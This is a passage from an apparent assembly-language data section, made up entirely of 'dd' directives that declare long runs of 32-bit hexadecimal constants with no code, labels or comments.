4AEC4A8Bh, 92C48AE4h dd 0C524C759h, 1EBD9B8Dh, 6A972704h, 0CDAE8EE0h, 2C7E36CCh dd 0D0364029h, 0E4E83E2Bh, 0D4BB97EBh, 0D0398EAEh, 18BFF493h dd 6B85559Dh, 0B7228747h, 7D77F23Eh, 950FD05Eh, 0EE5099E4h dd 0F23C5D21h, 0B06B2E2Dh, 9EBBAA73h, 0EC861307h, 0EFBE7E17h dd 6141BB20h, 681EBE15h, 0ACCDD4F1h, 7A1B3D70h, 6B641088h dd 0F9BF4F64h, 5A6D5AAh, 0AEAD5711h, 0A6B058C9h, 0D37E861Ch dd 6D78F2AEh, 0B6D0AFDh, 0ACBC95CAh, 0A287AE21h, 0FFBA8CD7h dd 348B11E5h, 23EC4877h, 7F03AB9h, 0B94D478Dh, 825B66FBh dd 5154F16Bh, 0A8608B6Fh, 35ED1770h, 0B71EF1E9h, 2658ADD9h dd 28AE35F8h, 0C7E28F83h, 4FEA11AAh, 0BDAF5F28h, 32B0BE9Ch dd 0DD903579h, 8ABCCFFDh, 2208AEEEh, 88555F8Dh, 41E411EBh dd 71911847h, 0B31167F1h, 3242F1D9h, 0A960752Fh, 0C250D442h dd 0B564BF55h, 0D09C73F3h, 22E42A1Bh, 480B0036h, 0A2312137h dd 0E7A04AAEh, 0C8B18B63h, 0FFE359DBh, 0CD861293h, 94494EBDh dd 0FF109863h, 38A11C01h, 0D8C03E3Ah, 6CFFCFF5h, 173A0F47h dd 1CFC5B1Bh, 0D1F41C2Fh, 5EF71252h, 0A15911F6h, 0FF218FD6h dd 0D98FB62Eh, 1505A795h, 378017DEh, 1C0C4E61h, 0B581AE18h dd 14214E47h, 5862A407h, 24AD6E5Eh, 0CAA8C8CFh, 0C9A82996h dd 362E5218h, 0C522858Dh, 1F07BD20h, 0FB80B5C7h, 8C0022D6h dd 327FCE8Bh, 0D7A5F7A1h, 47D62134h, 0BFF54452h, 345BB8A8h dd 0C41282BEh, 0E79E38A6h, 9C17D82Ch, 35E8E7FFh, 8AAD401Ch dd 2B5FA1EAh, 9270262Eh, 4CAC6CD7h, 8D970B9Dh, 7411911Fh dd 7EFD55E5h, 0CE050CDDh, 8F08D3A0h, 3FBF84C6h, 0ADEE54EBh dd 0C07AABD5h, 0F606B84Fh, 0A1833776h, 275345EDh, 538DE0Ah dd 0B13BF462h, 70681A6Fh, 3D7F399Eh, 14987449h, 0CC1C7B7Ah dd 5CAFCBDDh, 33141DD6h, 0CEA35DA7h, 93C02CD4h, 0EC317A75h dd 0C07FBB4Dh, 4AC9EE6Dh, 0FE4BDBF9h, 0D5365468h, 0F54D678Ch dd 36A9DFBFh, 0A83D1616h, 9EC706D4h, 73501CAEh, 0C8F2A275h dd 6AE7ED52h, 17F5A563h, 0C5423EBAh, 0F59FFB18h, 72453727h dd 53852B4h, 0B618C726h, 8625251Bh, 1AED8AC6h, 846846D7h dd 2403693Ah, 7A97AE82h, 50175832h, 3842F022h, 747B04B7h dd 0E357D118h, 7DC16C4Ch, 0C76C452Fh, 138DF0CBh, 857A185Fh dd 4F5A5AF1h, 1A20473h, 0F1E799EBh, 0DBBBD886h, 0B7670411h dd 854498DAh, 0B2A7367Dh, 0DCDC8B11h, 33EB2688h, 38FBDF90h dd 469E0D40h, 0A67A12C2h, 8F2C5922h, 130FA05Eh, 3E1C7F1h dd 9DE8891Ch, 0ECCFC9FBh, 739CCCCCh, 36F744FAh, 4868335Ch dd 2E640C00h, 2353C4F5h, 3DBD2277h, 9E352CE1h, 503B5123h dd 98B15AC1h, 89FB6CB4h, 985C013Fh, 0A3A3F8C5h, 6A527171h dd 0AC0B915Ah, 7CC536D5h, 37F57EBDh, 7983FFFEh, 4F288137h dd 381BB4EAh, 7A699DA5h, 24E2C519h, 0EE288D74h, 0F78F84EAh dd 0D700BD98h, 0E842F85Bh, 0CE89F7BBh, 0DA9B6E01h, 4D793799h dd 63790070h, 19A8CE85h, 10E2AC85h, 0D42C0CE8h, 0CBB8E5FCh dd 467B7B2Bh, 6F1C636Fh, 0E3C9302Ch, 8890E894h, 492AD96Fh dd 1F4CA4A2h, 8B7606E0h, 0CC7F368Ah, 1C48278Bh, 0C90E5924h dd 31CFCDD1h, 0A4A4D11Eh, 0D90191A6h, 31FFC4E1h, 0FB2938AFh dd 0C8E13E08h, 98392493h, 0ACD88393h, 0F53D3C02h, 0EE263A97h dd 60154DB0h, 9AFC5620h, 0BF5C856Bh, 11EE5376h, 15AEA711h dd 1EF14502h, 425C1A79h, 0B0DAB557h, 1DC204F6h, 10B1DDA3h dd 9BEB2BCh, 57EA4C32h, 2F80A5D8h, 2ECB5A75h, 6CDF1F4Ch dd 6B6CC934h, 0DA3A1542h, 341DB3AEh, 585C2111h, 31AAB62Eh dd 65ADAF5Fh, 0B9B8FCCBh, 5B86733Ah, 5E488FD0h, 0D0E95F2Bh dd 0A5794F11h, 0A2375421h, 95347C81h, 0D37F399Ah, 0F741A93Dh dd 2726F439h, 5EE42E55h, 0A028D627h, 0ACE75F8h, 734B924Bh dd 116973FDh, 0DE37BDE9h, 2A810426h, 5FA5A474h, 339E9A8Bh dd 0CCAB3405h, 0CC36F91h, 5FA1D3F3h, 0D5303BD7h, 0A0CAC647h dd 45239D8h, 0B946FD39h, 0C0D0DD3Ch, 0EE7E7BFCh, 0B4CA4315h dd 0DD242CB4h, 0AACC962Bh, 19BCAC95h, 94551A41h, 0B2E07B30h dd 0CD2948Ah, 99C90C88h, 0AE2F516Eh, 0BBD7E5Dh, 4A33EFD7h dd 42F40914h, 26FF37AEh, 0BCFC13FAh, 7B3B5DB2h, 0D1C6745Bh dd 0B628A3ECh, 33629610h dd 42903466h, 6C518A9h, 0E6E5C199h, 75BB684Ah, 0BB40A374h dd 910CF151h, 73A1A4A7h, 0B033EE02h, 54256D2Dh, 0E1190CBCh dd 0FBBE1CC2h, 95826757h, 31129569h, 87A72191h, 0FBCAC900h dd 121A6AB0h, 373C9EEFh, 84635AAFh, 13EB18B3h, 99E4BB26h dd 545009CAh, 3BF8280Bh, 4E8C6563h, 0B64F4032h, 4242B114h dd 644757C7h, 0C55DA3C7h, 0B9652FAh, 0B93CBD1h, 0CDCB0DCDh dd 1C533103h, 0F0385D57h, 0D7AE5A0Bh, 4F708E76h, 19DE768Ah dd 0A84560A2h, 0B5917043h, 0A39C1021h, 3AE4EAD3h, 362F9E04h dd 4617F865h, 0B63B59BAh, 5C0C47E7h, 6C72E7A8h, 0F486756Dh dd 0E8DC8EA8h, 0BC2BAE22h, 0FF35D00Dh, 0CC5D355Fh, 4A2D2558h dd 68D2A01h, 25EF43CCh, 3ED2AA64h, 480CEE6Fh, 530C5FE2h dd 0D001A67Dh, 0B95F682Ch, 54078993h, 147A868Eh, 0EA20233Fh dd 0DCD3907Dh, 8196320Fh, 0C4D9E941h, 65CB1095h, 6B475FD4h dd 0C13FD7AAh, 4A72E3D9h, 0D5964EBh, 0A3B7A253h, 6B961CCCh dd 8A1E27CDh, 2AFF11D9h, 0C51901A9h, 5EA7C32Ah, 6EDAA380h dd 8DACA0E2h, 28286CD7h, 233E6414h, 19B106C7h, 5BA20958h dd 40201F3h, 0DC17A84Ah, 8EC6CED2h, 0C8E7A9C9h, 91C713D8h dd 98F0A8B1h, 2E95C686h, 0EF5F856Ah, 0B6AC72EEh, 51CCFA4Dh dd 643C54BCh, 9FFBEE0Ch, 2E5D039Fh, 6E025B7Ch, 8812865Ah dd 5AE8C33Fh, 6E52E30Dh, 479EF24Bh, 6CE98EDEh, 81A54C0Dh dd 0AA3020Dh, 1412EB22h, 0B8D5905Fh, 40413A47h, 0BCECE042h dd 8CCE9BACh, 37DC3E68h, 7C5D6E00h, 0E98A4A5Ah, 81D1814Bh dd 0DBD432ADh, 0A0BC9184h, 0A0B55BE6h, 0ADEB9342h, 456AB59h dd 1FEB1B01h, 0AEBBA9D4h, 18FD31DCh, 8BF17D47h, 0A45CCA6h dd 57FE0F5Eh, 0B0A6D4B1h, 58245D39h, 132B8CF9h, 7E597E20h dd 0E3AC5974h, 91386742h, 0D02B9213h, 0EE2F8FABh, 38EB2208h dd 170E69BEh, 6439B9D5h, 6D65F4C1h, 0AF0F5197h, 6AB54DE7h dd 1CC52B31h, 7291C83Ah, 6B388484h, 8A60EA28h, 21D64EA4h dd 0C299C55h, 97A8A8F6h, 2B36540Fh, 9AFDADB6h, 0B433C06Dh dd 9CE3F678h, 7961690Ah, 3799608Fh, 0FD94BF07h, 596B9C19h dd 86EFE1C8h, 71D32F63h, 0ABC6C04Dh, 8904798Dh, 0F4580336h dd 6FC40307h, 0A70D2FA8h, 4AEADDCDh, 0DE8105DCh, 311E839Bh dd 70078223h, 0CFCE1A92h, 60F039DEh, 64D01480h, 40D1D7B7h dd 0EAC22A35h, 0F8C618C8h, 0B4E39D87h, 6B11817h, 0BF9A2A16h dd 73055643h, 4AE7166h, 0ECD707A3h, 15957181h, 575847EEh dd 52FA9997h, 474B81BEh, 0C1E09610h, 0B4595362h, 0D2BEADCh dd 6E44C1Dh, 8545A5F8h, 0EABC75C0h, 0A586F9A5h, 5F19AA02h dd 79A511EEh, 0A38EB736h, 76A84FF6h, 0C06D5AF3h, 0FD677D7Ah dd 0B580E2BAh, 106A3BD7h, 0E1631F95h, 0D0559C8Dh, 0B7B6DF7Bh dd 8D7F9488h, 74234BDh, 192E0D61h, 0ED6C9AB2h, 58215C70h dd 4E2C329Eh, 0EE54C7E5h, 0FA2FDBCAh, 65FC064Eh, 0B1BCD6B2h dd 5AF1990Dh, 0A6F68128h, 6D3E29DCh, 348684FCh, 0AC39FC25h dd 5999AC73h, 0F0B2A07Bh, 0ED23A467h, 0F9543C7Fh, 0EE9883A4h dd 0D57AFD63h, 0FA65D884h, 0C1BF7CF0h, 0FD0F5A64h, 8E3F0DE3h dd 8A9FC49Eh, 0DD54F600h, 0D39E1B22h, 0CEDDD841h, 816350EDh dd 0B6A4DC46h, 8D774013h, 2D792FE9h, 0F0208411h, 0F0CE0F44h dd 0B244D63Eh, 622DED11h, 915BC13Bh, 82BE179Ah, 0DB6EBFD6h dd 0A4D51D40h, 5537962Bh, 75B722B8h, 7C8C7361h, 1B5BC654h dd 0A3F081ABh, 0ECD97B24h, 4B453EF8h, 0F5C3B04Eh, 5284D776h dd 0A2C4F1F5h, 41FBA5F8h, 1B7E5FF7h, 2046E9DAh, 0AB908523h dd 0E09F734Eh, 2B2DDC72h, 48085558h, 0F8B5BFA0h, 0CB757391h dd 7139117Ch, 8C0B5B9Ch, 0E1905B35h, 79E40547h, 8A1547DDh dd 753A21BBh, 33628525h, 0B1A9B814h, 18439E01h, 7483441Ch dd 0BDE80D55h, 52B6875h, 8C4A10F0h, 0B8B62C08h, 9A21A0B6h dd 0A38F263Ch, 9EE42AABh, 0AFB51575h, 0D1A4603Fh, 61C9F5F5h dd 496AA54Ch, 4B1773EAh, 650C1A31h, 4E4C25E2h, 2F982826h dd 0D966600Dh, 0BD1BE4A1h, 0B8E85E6Fh, 0FAB0A9A5h, 26EA60B2h dd 0FEBA95D3h, 0E8B76A45h, 0D39971A7h, 8DE2E472h, 0F9F01E89h dd 3EF4F6D5h, 0B2AAC27Ch, 0A92962D3h, 0A8471800h, 0DE2BCA9Ch dd 0F4216390h, 3ABC9D00h, 200811F2h, 0AFA967FBh, 0DA3CD125h dd 0DAFB144Bh, 0EA5CBF47h, 40BAF8A7h, 568E3766h, 0D9ED9E0Bh dd 0ECCAF15Fh, 15B85939h, 0A1AE984Fh, 27502994h, 82D61EF6h dd 27755A6h, 0A5672055h, 6C42E98Fh, 8CFCD6C1h, 0C3274F5Ch dd 0B916E612h, 93DE1E2Ch, 0BA313B67h, 0AA416FE9h, 0C0877490h dd 0F096F692h, 3721779Ch, 7F4BD062h, 71EAB2A9h, 30D3131Eh dd 4232640Ch, 7B02DABCh, 4D8CAA61h, 1E3B4323h, 80D5B552h dd 0D0E5585Ch, 10066BC7h, 0F8AE8DC5h, 28AD4ED9h, 0E8B90CE8h dd 0DA58D757h, 6462E7CFh, 1B892EE5h, 32CC0EB5h, 31FC449Ch dd 53459895h, 0CE2579A8h, 6207F8C0h, 0C1CF8C7Ch, 0D46379EAh dd 83C768EEh, 823AB093h, 5B7B5471h, 0E2D76EB2h, 0EE341935h dd 0CF7CA838h, 3AE8183Ah, 812A798Eh, 43BEA419h, 1ACBABA0h dd 284537ABh, 0DCA2FF5Fh, 0DE71D2DEh, 36C8BC39h, 8BCFD87Bh dd 46C686DBh, 0F8D788DBh, 0B91E50E8h, 17A371ECh, 0F3B3E50Ch dd 83557E93h, 3B60039Fh, 0E328F515h, 0EDC69500h, 0E9F35DABh dd 9978850Eh, 3E01AEF0h, 1C7E0EEFh, 0DC6F6AAEh, 3AEAA9C8h dd 4B2D0749h, 0A5524510h, 0B351F572h, 374AFD7Dh, 8B3D6C36h dd 5746C0C9h, 1A45E814h, 0EA4952B3h, 6BC49920h, 52003DD3h dd 0D849B770h, 627C80h, 9575935Ch, 0DBC62AADh, 0FF2EC3A6h dd 0C549C4Eh, 739A138Eh, 0BFDD16D3h, 4F034A8Eh, 0D6CFB04Eh dd 29C7258Ah, 59043F45h, 90A3AA18h, 7EDF8C62h, 0F772EA7h dd 0E1A00AB4h, 15764C09h, 0EE9C77E9h, 78AE880Eh, 75489B7Ch dd 787383E3h, 0FD515887h, 0ABE00CEFh, 7DDBAB48h, 82869A0h dd 900504F6h, 5CEB486Ah, 32276642h, 2CFF03CCh, 0E1FD9AECh dd 35ED1655h, 0DDE82C09h, 1BDFA709h, 699FD9CCh, 0D6E151EBh dd 93D5C900h, 240F271Eh, 1300971Fh, 0BFC822Bh, 0B0088AB5h dd 0CA40519Eh, 0C570F397h, 4444B952h, 14B195EAh, 8368BAF9h dd 0FCA6E0E6h, 0BFBD5860h, 671BA6AEh, 0F04E4BF2h, 0B5298838h dd 87DCBF2Eh, 43F927BDh, 0DE71F40Fh, 0C5BB1473h, 36FC6DAh dd 8BE81F83h, 4DBB56E4h, 0DCF9EE93h, 0AE10E55Dh, 0A012B211h dd 1556BF42h, 5D8DB338h, 195A1E1Ch, 0A89D2DACh, 90591914h dd 0F77D30AEh, 9FFE0DB6h, 63733468h, 9061ED45h, 436FB3E3h dd 495B1583h, 873FA027h, 0DF3FC6FBh, 872D4422h, 11C312E3h dd 0C16869ACh, 0E1280B87h, 36F10358h, 29DD5DB5h, 0A75F8681h dd 244E728Dh, 8B6D8011h, 0CE613785h, 46E92C7Ch, 4A7695E1h dd 2E6A6010h, 71FE887Dh, 0DE57B3BBh, 8953758Dh, 0D2B71265h dd 0F364B763h, 631CB456h, 0A0049998h, 0AA2276E6h, 0E9839BAh dd 5076604h, 2B31D7C0h, 0D150ECAFh, 6724DECAh, 0A337AFD8h dd 26A694ABh, 0C46E27EDh, 0CE3C294Dh, 23805E2Eh, 0DCDB2792h dd 40B2B4C6h, 0B881FF99h, 0D4FEAEAEh, 0E1B2D6CAh, 9C9B67EEh dd 514A48AFh, 95DE1A4Ch, 7BFBB95Fh, 39405CDEh, 0FDEB6544h dd 759C3708h, 0BE0543E2h, 887B4316h, 90B6AB62h, 520FC3C4h dd 9D33D72Ch, 3043B533h, 7917B0ECh, 0E57F651h, 2C79945h dd 0A5110FC3h, 598F904Fh dd 8057203Bh, 0B8BF584Dh, 80695D4Eh, 0D4D7205Bh, 0FDB96407h dd 3DE4A87Ch, 2031FBEBh, 89D92AE2h, 557276C5h, 0BEC76DD2h dd 25586F94h, 0A13E07D9h, 8897F993h, 29CA1EDCh, 23C7EF96h dd 8BFA404Ch, 857AECC1h, 0D96C956h, 9D2F64F5h, 72C9E340h dd 0ABCF0041h, 3FCBFAD5h, 7C2652BDh, 7F14608Ch, 6F46F661h dd 3EB1EF1Ch, 4121ADE1h, 0E6F7F4D1h, 0A7079A1Eh, 9B761D12h dd 477559D0h, 0E22811C9h, 0D04163C9h, 0B6F5A24Eh, 5AB2307Dh dd 0B0B80FF1h, 0AD326C2Fh, 8E4742E8h, 0F443FA12h, 30E9A4EBh dd 2C687396h, 1E18F6E2h, 4D90FE5Ah, 9BB9D703h, 0C191F164h dd 703AC5F2h, 7977D67Dh, 1F08C4D0h, 2FBC36FDh, 7039F240h dd 0D96FD30Dh, 1D7D2276h, 45F55184h, 0C0AA8998h, 8ABB7C7Dh dd 1E11F81Ch, 0BD677708h, 5C5A7DB8h, 72FCA697h, 9FC3839h dd 4E9E8EAFh, 0F23B7D1h, 0C6CBFCC0h, 5B6FEDF7h, 8286E6F0h dd 86463177h, 5BA0B8Dh, 572DEAA3h, 1604DC91h, 96EF8B55h dd 92FADCDDh, 0BE045643h, 7EBDA648h, 6C2E7694h, 83DC1272h dd 0E5495B25h, 6416227Ah, 82263982h, 7D5D4898h, 0F76669F3h dd 4D58C94Ch, 1F79E9E2h, 1E94AD90h, 99552F7Ch, 7D28863h dd 5A01D777h, 4F7ADE9h, 608A7B43h, 223F7569h, 8AAF2C58h dd 0C6A49DB1h, 0A780E8E4h, 0BD8A2C81h, 0F5209324h, 788B5CD0h dd 0FF73439Bh, 0E6E2375Ah, 64C95BF6h, 0A42B3AEh, 490E45D9h dd 59DDA171h, 4767F22Ah, 95394954h, 51EA50C9h, 0CF2BD361h dd 9D3876FBh, 0B8D3C48Ah, 336FC42Fh, 83ED15FEh, 3B2839CCh dd 2B9B918h, 56396E0Bh, 818B88BBh, 8644D378h, 0EFA6010Ah dd 11714255h, 69A359C9h, 0E7E37B7Fh, 0F7958F7Dh, 4C312AAEh dd 811D71E5h, 0BD37452Ah, 9123B95Dh, 82A6B45Eh, 0FEB077C9h dd 0DF36942Ch, 0D2DEB7CAh, 0EFB1FD51h, 0F8B2154Ch, 0D5C5A19Ah dd 3A72C9F7h, 0E056A9C1h, 70FFB89Eh, 44242DBh, 47C7525Eh dd 0C08135FFh, 0D9ABD31Ch, 80C1A7C0h, 0D4D37447h, 0CB990A1Fh dd 4CF1D7D3h, 7D380833h, 0E60F6730h, 34BE4816h, 0E8D16B08h dd 0E4F0167h, 6CBF2C75h, 0DF5A6BE0h, 0BB285E60h, 23E08B3Bh dd 1DD98BA0h, 18A267FDh, 0C5705AADh, 20C8C598h, 0A59E01E5h dd 422FB711h, 6648ECE7h, 5BE42C6Fh, 33C28B03h, 5560E3F1h dd 0ABB129F0h, 25CBB0FAh, 189318FCh, 1F6F9B9Fh, 4D3F680Fh dd 2C1BFEE2h, 8C0FF92Ah, 0ABAA30DDh, 831218ADh, 16516A82h dd 0FB001BC5h, 0B1CD42ECh, 0A235680Eh, 0E4AB69C3h, 8EF5321Eh dd 91E230DDh, 77389C03h, 0E8BAC741h, 1DDC1E04h, 0B8A220E5h dd 515F1C5Dh, 558CCD48h, 0B582029Ah, 620DB5C6h, 2E9FC6E9h dd 225F97DCh, 708FBE04h, 7369BE9h, 0F720551Dh, 0DAB3D115h dd 0F52FF6Ah, 37057497h, 1B69FFCDh, 430F3936h, 61BF097Ah dd 5707FF0Dh, 0DABE3FE0h, 27A369B6h, 0A36AE8D2h, 0F5F58F14h dd 0C5E54B2Bh, 0D7F1EC9Fh, 3E2EE5A1h, 4B3A6B91h, 8DC606Ch dd 1497261h, 31551FE3h, 7B51879h, 0FE97483Ch, 0A83A422Fh dd 47AA4A78h, 586229DBh, 0BCDA34AAh, 0C2C5EC74h, 0B704E325h dd 0C25EBD17h, 0FC0448BEh, 0A68AAF93h, 81C4774Ch, 0EA5E67E4h dd 32D441AAh, 0C82D3008h, 267DFA08h, 0DD84BB7Dh, 3CC8CF7Eh dd 5620282Bh, 0A9014AFCh, 46F85CCDh, 4919F424h, 13036FE4h dd 0DA9AE084h, 161395D2h, 0A08B6B69h, 0B0DE9F83h, 0BA429804h dd 65A7B994h, 79E1C2B3h, 0CB703398h, 0D3B47020h, 31571511h dd 269FBA64h, 0FC0F1A23h, 5C1D9D00h, 60125E80h, 957AA9C7h dd 891D0CB8h, 17B5D367h, 37612B92h, 6A989548h, 13D9B0C0h dd 22EF3A4Dh, 531D6078h, 0CD931AD2h, 1F1C683Dh, 42CCD7C9h dd 0B5148886h, 119935A7h, 3A604D26h, 95390B43h, 381A6D8Dh dd 2842E611h, 5D261938h, 4B94822Ah, 4E651B06h, 0D8C46AF4h dd 0BB64909Eh, 0B457CE8Ch, 5847CBB9h, 0A4666434h, 24399A52h dd 3565227Dh, 0D1170E5Dh, 69FBCE85h, 0FE9CA932h, 0FB80C415h dd 90688A14h, 64C7B6CDh, 2B78F922h, 7E585C64h, 0DA3BB51h dd 0CC866D76h, 17716FCDh, 0B825E4F5h, 0A9B0320Bh, 58C7067h dd 8F6C51A3h, 0E21C11D1h, 0C7C71034h, 51AAD1F5h, 280CACB2h dd 12E2F34Dh, 4193A858h, 86CAB0C1h, 3B2A8ED0h, 879868E5h dd 1CEFFCCDh, 15168F97h, 0E8EDB20Ah, 3DBB0339h, 0E49EBB8Ah dd 0BB40C3AAh, 2DBBEA1Eh, 3E2B50DCh, 5851BD8h, 3950BDF9h dd 40A732A3h, 753ED844h, 249D596Dh, 2C997F20h, 0C1569E53h dd 2BD3D3F2h, 22A0594Ah, 0C3AE9204h, 602614Eh, 0C278B0D9h dd 0EDF95FE8h, 0DBACF91Eh, 0C64110E8h, 900EF31Dh, 9DB30CD1h dd 387E0F57h, 2753AE44h, 0B0257B76h, 0B514ECA8h, 6B48588Fh dd 0B77F8779h, 29EAD4ECh, 22552B99h, 0EBC10215h, 0E61B0F3Bh dd 0BF2A7231h, 9277395h, 27FB7FAAh, 9903B364h, 0F18C3B5Bh dd 0AB25BA1Eh, 0B8628E42h, 74F1787Fh, 0DAF8864Bh, 0A7698BF8h dd 0DC0595D2h, 0A3C30930h, 529D17B3h, 37417309h, 1CDE277Ah dd 0B2831A80h, 0C059B3F2h, 7DE3C23Fh, 891FB4E0h, 85C7ED36h dd 109DE86Fh, 0EC2FF751h, 838AC42Dh, 1EF87E77h, 0E58EC0B9h dd 778A8C66h, 37B6C279h, 0F2897CC7h, 3ABF0E73h, 7B9BE145h dd 0A8A5FB92h, 0A13595EDh, 0C2FDC3FBh, 94B05FCDh, 0FFAA3640h dd 0CDE4095Ch, 643FAB69h, 5A3BE0F3h, 0BF797975h, 0DB85E3CFh dd 0DA71D04h, 0EE582619h, 0EAD44B44h, 93FCEDE4h, 0E0838625h dd 0E8080F76h, 755BF106h, 0BC5F9D95h, 7D18B127h, 0F3F306E2h dd 4CD868C1h, 3DCFD427h, 8C1CFABDh, 0A4D35CAFh, 95786875h dd 7F70C614h, 0E2215624h, 32F090B9h, 0DEBC3584h, 2E819F9Dh dd 0A5DBD46Fh, 54FB045Bh, 393D743Bh, 6AACC590h, 0D23C7342h dd 0AAC07E33h, 88042BFDh, 78A26362h, 849C7A6Ah, 41CE0435h dd 55885DE5h, 0DEDC23EFh, 0CB6AE607h, 989EC39Dh, 0D90D38A5h dd 9BF4DED0h, 0FF123901h, 0D0212567h, 0AABD9835h, 0E0B342D8h dd 0D3537246h, 772B8986h, 7202EC47h, 9A3EC550h, 84BA5A7Ah dd 68D218Bh, 0C2E34D9Ah, 7B1BC7CDh, 39EFDE08h, 3161C95h dd 3B9F9793h, 3ABAC3DFh, 31D9AD0Ah, 0FF0B5902h, 0C04C8564h dd 971170E6h, 0AD141CFAh, 0B43F35ACh, 8D0BD27Dh, 0EE8395A5h dd 0D6F4204Eh, 2C9C9C34h, 3C227F17h, 794B89C4h, 4EA15B7Ch dd 5836C772h, 721C0A1Bh, 2DFBFA18h, 66867314h, 0F3447502h dd 0D17F7379h, 522BE9E7h, 0E4AC2ECEh, 2864DB2Bh, 779CEF6Fh dd 0E4FE79C6h, 6ACB56E7h, 0D23DAB56h, 937D2BE2h, 0A0401230h dd 677F6184h, 93F9B7B3h, 0BABD66D0h, 70C8B191h, 0A0DDA24Ch dd 9066F65Ch, 695BF956h, 9963DBEh, 973ABFADh, 51DFF1CAh dd 965FC96Dh, 0F5A8484Ch, 0B44E4059h, 44424DBFh, 41A48503h dd 5BACB230h, 1D295A7Bh, 830FCDAFh, 0AC6D5EFDh, 0FC5639C1h dd 86DB9264h, 14FC8C2Ch, 34BC9CACh, 22BA1205h, 65EC9F11h dd 41A54638h, 3757D81h, 6E3C9DFCh, 0F1E599FCh, 0C6BA7415h dd 477EC749h, 0B25B1098h, 0E49EBD4h, 0D9424C35h, 0DBC40C51h dd 1DCDEC44h, 20037673h, 35715629h, 78014B58h, 0B5F93CA6h dd 330D2EB8h, 30B19398h, 0F2AA42BAh, 0DE6AE7DAh, 447689DCh dd 2E61D307h, 0C176EF3Fh, 7D214DD4h, 1DEE9DA0h, 2C09D1BCh dd 0F085E8E7h, 3B5530C7h, 0BDEFEFC8h, 0ED96ECC5h, 4B09C904h dd 0A4097A03h, 0E8544B94h, 84CEF40Dh, 35EE7B88h, 0EA66BA19h dd 82D02B4Dh, 0F76ADBE7h dd 0C11B53DBh, 0EC5E2A9h, 222ACE46h, 364E2104h, 2AEC8952h dd 943A2AEAh, 0CFC56B13h, 3FE8FA99h, 6F678166h, 9EB0B481h dd 0C3C4C0AEh, 349BEA34h, 6E6E54E0h, 73595609h, 0E302F554h dd 0CDAE06E0h, 87221C63h, 0FB38BB7Ch, 0E75184A9h, 598BE465h dd 0B14D8716h, 9DC05552h, 0D007364Ch, 0D12E06F5h, 444D8CBh dd 0C62CCA78h, 88C5DE4Eh, 0F67087E4h, 3D918714h, 4D2C82F1h dd 0F98CDC00h, 2C59D9BCh, 4DBBFB2h, 20645043h, 426DE588h dd 6E202A5Bh, 31C17742h, 0BDE17E00h, 45D0EC77h, 0A0A4E9ABh dd 2C8A3EBFh, 3FCA1CB6h, 0F2C4E580h, 52D42C5Eh, 0B9B92325h dd 0FF55CCFh, 62A09D3Ah, 0F1895365h, 1AA5C931h, 6B41BC1Dh dd 0A2BD454Bh, 3711618Ch, 545C5B28h, 0BD411318h, 0AB75B7BFh dd 0F6733512h, 28F2269h, 0F9BBCFD1h, 1109F986h, 16762036h dd 0B4C8BEDDh, 0CE1444Ch, 0CC3A0FEh, 2E68D36Ah, 4BAEB8E8h dd 0ECC5E903h, 82AE5EC9h, 0CFA2F94Ch, 29C45588h, 23936993h dd 0D671D94Eh, 58BEF398h, 62783CA1h, 26010E52h, 0E96C27ABh dd 28FE7046h, 0BF5C282Dh, 3CF9A115h, 0B220FD2Ah, 1D5ED126h dd 0E51A3Fh, 0FDAC16B8h, 0D44FB603h, 648839B6h, 61A50742h dd 333782D1h, 0BC698308h, 0F6884BADh, 83BC31A2h, 41534FB6h dd 31821E00h, 9864BD6Dh, 2BF8A099h, 57B79FCBh, 5B181F83h dd 6445733Dh, 18B79709h, 0B1DF8120h, 0C5776ECh, 9AFEC8D3h dd 9E430E9Eh, 0DE82BBBEh, 0A9D0A982h, 0DB795964h, 95B8A3F1h dd 0AE007E67h, 0D5339D9Ch, 446F0977h, 0C7901D83h, 3F9C67AEh dd 0F1E052ABh, 0C8968DD0h, 80413C3Dh, 13BD521Fh, 0F27543D7h dd 0ADF9BB1Bh, 0FF15FE59h, 0E5B8CC63h, 350AC1D8h, 0BA4E6D9Fh dd 473A99BAh, 108029F2h, 54EB8310h, 0B36B80D7h, 78AE7822h dd 4E78EDC0h, 0BD89BF3h, 80AAB840h, 0A62CF509h, 0FDFA74E6h dd 0D05E7B1Ch, 3D4DD6ACh, 0EC778A88h, 0ABCBEF82h, 4A0356DEh dd 0A7484CFDh, 7DD95B99h, 0EBAC60FEh, 0DBC14892h, 199E097Fh dd 48EC5293h, 844FCDA2h, 0C45ACE9Ch, 765CE01Eh, 0B71F37D2h dd 1E1EACh, 0ED10D8A0h, 0F1B68D43h, 0D73F555Fh, 0CB4F0D51h dd 5F512F5Fh, 0CA2E5AC0h, 139EBF4Dh, 26EF06E8h, 4F4FE7FBh dd 0F67C4BD1h, 8459BAFEh, 83259384h, 0B6955AF7h, 4340F27Eh dd 7F402D76h, 0BCEAC9h, 2DE2E240h, 0FA9FFA2h, 8B944259h dd 5086760Eh, 9BF0804Fh, 8D0D1910h, 0A5CD8444h, 0DCB0BF44h dd 537044A0h, 30F81696h, 8DD20561h, 30B35F2Ch, 12C2F889h dd 0E797D974h, 0DD4C195h, 11F1807Bh, 45DAF0Eh, 1A608EB2h dd 0D81362E9h, 0D8740D30h, 507FF25Ch, 91C487F7h, 4B5D5233h dd 557AF1C2h, 1F492BBBh, 2AD05983h, 0AA3A7C09h, 0DB1FE969h dd 8B1ADA64h, 519B788Ah, 68564DACh, 0D38933D1h, 0C5AB7397h dd 0D7DF8720h, 0EF520137h, 0A9B634A5h, 8D8DB1AAh, 0FE7A2175h dd 0DF6874BCh, 1997F507h, 0BC484792h, 0D13DD7B7h, 7424A654h dd 8FE9951Eh, 0A49435CEh, 0EC281E89h, 28D474DAh, 28C194E6h dd 7A287F12h, 0D5CF395Eh, 0E478A574h, 2046E10Fh, 0B3BDB5EFh dd 49E02597h, 98C38273h, 0F02CEF9Ah, 68428199h, 0AB427CBAh dd 3C7E818Ch, 1BA9497Fh, 0D568C281h, 8AD21913h, 0C8A71997h dd 0F41E0FECh, 0E6A9C4F2h, 3DA979EFh, 0CC173C27h, 51E71154h dd 1F86A89Bh, 10C4DCA8h, 5DF75AC4h, 0E242BA22h, 0D503AC2Ch dd 5F5E5BB4h, 64EC4A58h, 9C5E17C7h, 3586C71Fh, 0E092FD95h dd 3D7D85E0h, 0BD975DF7h, 3361B9ECh, 23384F92h, 0A5E051C0h dd 39942585h, 8026A9h, 0B7319B7Ah, 7235E262h, 0CE5938F4h dd 3D6F3E82h, 0AD6B7E9Fh, 0A5D91B15h, 0AE0BCBF2h, 1767B21Fh dd 8407C1ECh, 3B3C0CCDh, 0D0C5F9DBh, 